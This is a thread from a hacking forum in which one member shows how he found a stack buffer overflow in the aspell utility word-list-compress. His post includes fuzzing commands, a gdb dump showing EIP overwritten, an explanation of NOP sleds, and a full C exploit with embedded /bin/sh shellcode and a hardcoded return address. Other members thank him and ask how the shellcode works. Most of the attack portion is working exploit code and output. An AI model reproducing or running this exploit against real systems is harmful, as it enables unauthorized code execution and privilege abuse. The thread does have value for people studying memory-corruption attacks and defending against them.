hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Developer View
andariel
How a persons finds a buffer overflow on a service or a DLL file ? They are not open source and not easily decompiled.
shaun2k2
Well, you simply play with the application. View the help output (sometimes "-h" along with the program name to get help), and see what options are availiable. If the options allow input at the command line or stdin, or from a file (well, technically stdin is a file, but...), you might be in luck. Sometimes developers are lazy and don't bother checking input from users (e.g the length of the input, causing buffer overflow sometimes), so consequently the program can be exploited to run abitrary code.

Here's an example of how I discovered a vulnerability in word-list-compress (part of the aspell spell checking package), it may give you an idea of how vulnerabilities can be discovered without holding the source code:

CODE

[shaunige@localhost shaunige]$ word-list-compress
Compresses or uncompresses sorted word lists.
For best result the locale should be set to C.
before sorting by setting the environmental
variable LANG to "C" before sorting.
Copyright 2000 by Kevin Atkinson under the LGPL.
Usage: word-list-compress c[ompress]|d[ecompress]
[shaunige@localhost shaunige]$ word-list-compress c
Hello world!
Helloworld!
[shaunige@localhost shaunige]$ word-list-compress c
llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
lllllllllllllllllll
llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll
lllllllllllllllllll
[shaunige@localhost shaunige]$ export TEST=`perl -e 'print "a"x100'`
[shaunige@localhost shaunige]$ echo $TEST | word-list-compress c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaa[shaunige@localhost shaunige]$ echo $TEST | word-list-comprexport TEST=`perl -e 'print "a"x200'`
[shaunige@localhost shaunige]$ echo $TEST | word-list-compress c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[shaunige@localhost shaunige]$ echo $TESxport TEST=`perl -e 'print "a"x300'`
[shaunige@localhost shaunige]$ echo $TEST | word-list-compress c
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaSegmentation fault (core dumped)
[shaunige@localhost shaunige]$


Bingo! I overflowed the input buffer of word-list-compress. Let's see the details, to see what has happened, shall we? We will do this by looking at the core file the program has left (used for tracing errors and debugging by developers and code auditors):

CODE

[shaunige@localhost shaunige]$ gdb -c core.2779
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `word-list-compress c'.
Program terminated with signal 11, Segmentation fault.
#0  0x61616161 in ?? ()
(gdb) info reg
eax            0x0      0
ecx            0x40012000       1073815552
edx            0x0      0
ebx            0x61616161       1633771873
esp            0xbffff730       0xbffff730
ebp            0x61616161       0x61616161
esi            0x61616161       1633771873
edi            0x61616161       1633771873
eip            0x61616161       0x61616161
eflags         0x10246  66118
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x2b     43
gs             0x2b     43
fctrl          0x0      0
fstat          0x0      0
ftag           0x0      0
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
---Type <return> to continue, or q <return> to quit---
fop            0x0      0
xmm0           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm1           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm2           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm3           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm4           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm5           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm6           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
xmm7           {f = {0x0, 0x0, 0x0, 0x0}}       {f = {0, 0, 0, 0}}
mxcsr          0x0      0
orig_eax       0xffffffff       -1
(gdb) Quit


As you might know, 0x61 is hex for "a". As you can see, EIP and ESP and a few other registers have been overwritten by 0x61616161, meaning that we have overwritten registers on the stack with what we want. If we found out at approxamately what address some raw opcodes ("shell code") to execute some commands for us would be situated at if we overflowed the buffer with that instead of "a"'s, we could possibly execute some code! This is usually done with programs that are SUID or SGID (e.g run the the privileges of their owners or groups). For example, the exploit for word-list-compress would make a buffer to overflow word-list-compress's buffer would look like this:

-----------------------------------------------------------------------------------------------------------------
NOPs-NOPs-NOPs-NOPs-NOPs->SHELLCODE->RETADDR-RETADDR-RETADDR-RETADDR
-----------------------------------------------------------------------------------------------------------------

If we have crafted the buffer correctly, with the right predicted address of the shell code, our buffer would overflow word-list-compress's, and would overwrite EIP (EIP holds the address on stack of the next instruction to be executed. If we overwrote it with our address, it would execute our code instead) with the return address that we think our shell code will be at. Voila! It will execute our malicious code (well, usually code to execute us a shell).

NOPs are just assembly operations, that basically do "nothing", hence the name No OPeration. We use these in our crafted exploit buffer so that if we get the predicted address slightly wrong, it will hopefully hit the NOPs, and keep executing them until it hits our shell code wink.gif.

After our little session of experimenting and discussion about vulnerabilities, let's write an exploit for word-list-compress, shall we?

CODE

#include <stdio.h>
#include <stdlib.h>
#define LEN 700  /* The size of our exploited buffer could need tweaking. */
#define NOP 0x90

/* Function to get the ret address.  You can use this instead of using the retaddr defined below in "retaddr" */
/* char *get_esp() {
       asm("movl %esp, %eax");
} */
int main() {
       char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

       char buf[LEN];
       int i;
       long retaddr = 0xbffff5c0;  /* This address worked for me once on Mandrake 9.0, but then it didn't work again. */
       printf("Creating exploit buffer\n");
       for(i = 0; i < LEN; i=i+4) {
               *(char **) &buf[i] = retaddr;
       }
       /* You can make the number of NOPs bigger. */
       memset(buf, NOP, 100);
       memcpy(&buf[101], shellcode, strlen(shellcode));
       printf("Using address: 0x%x\n", retaddr);
       setenv("EXPLOIT", buf, 1);
       printf("Attempting to exploit!\n");
       system("echo $EXPLOIT | /usr/bin/word-list-compress c");
       return(0);
}


I know, I know, a pretty sloppy exploit, I only got it to work once. word-list-compress is not SUID or SGID, however, so you would only get a shell with your current privileges.


-Shaun.
andariel
thanx. it made sense to me now.
shaun2k2
You're welcome.

-Shaun.
Dillinja
Brilliant post!

Another to consider for the main page methinks!

NIce one mate! biggrin.gif
bang
can you please explain
who did you decided to put this

#define NOP 0x90
i mean why not #define NOP 0x44 but #define NOP 0x90

you said this 0x90 stuff was characters or something like that.
can you give more details

the same is with this one.
int main() {
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


i am not sure if you got what i want to know.
i hope you did
thanx in advance
packet
Shaun2k2,

Another excellent post, great description of how to overflow and then check the memory registers for whats happening.

Good schtuff! Gopher seal of approval

--P.G.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.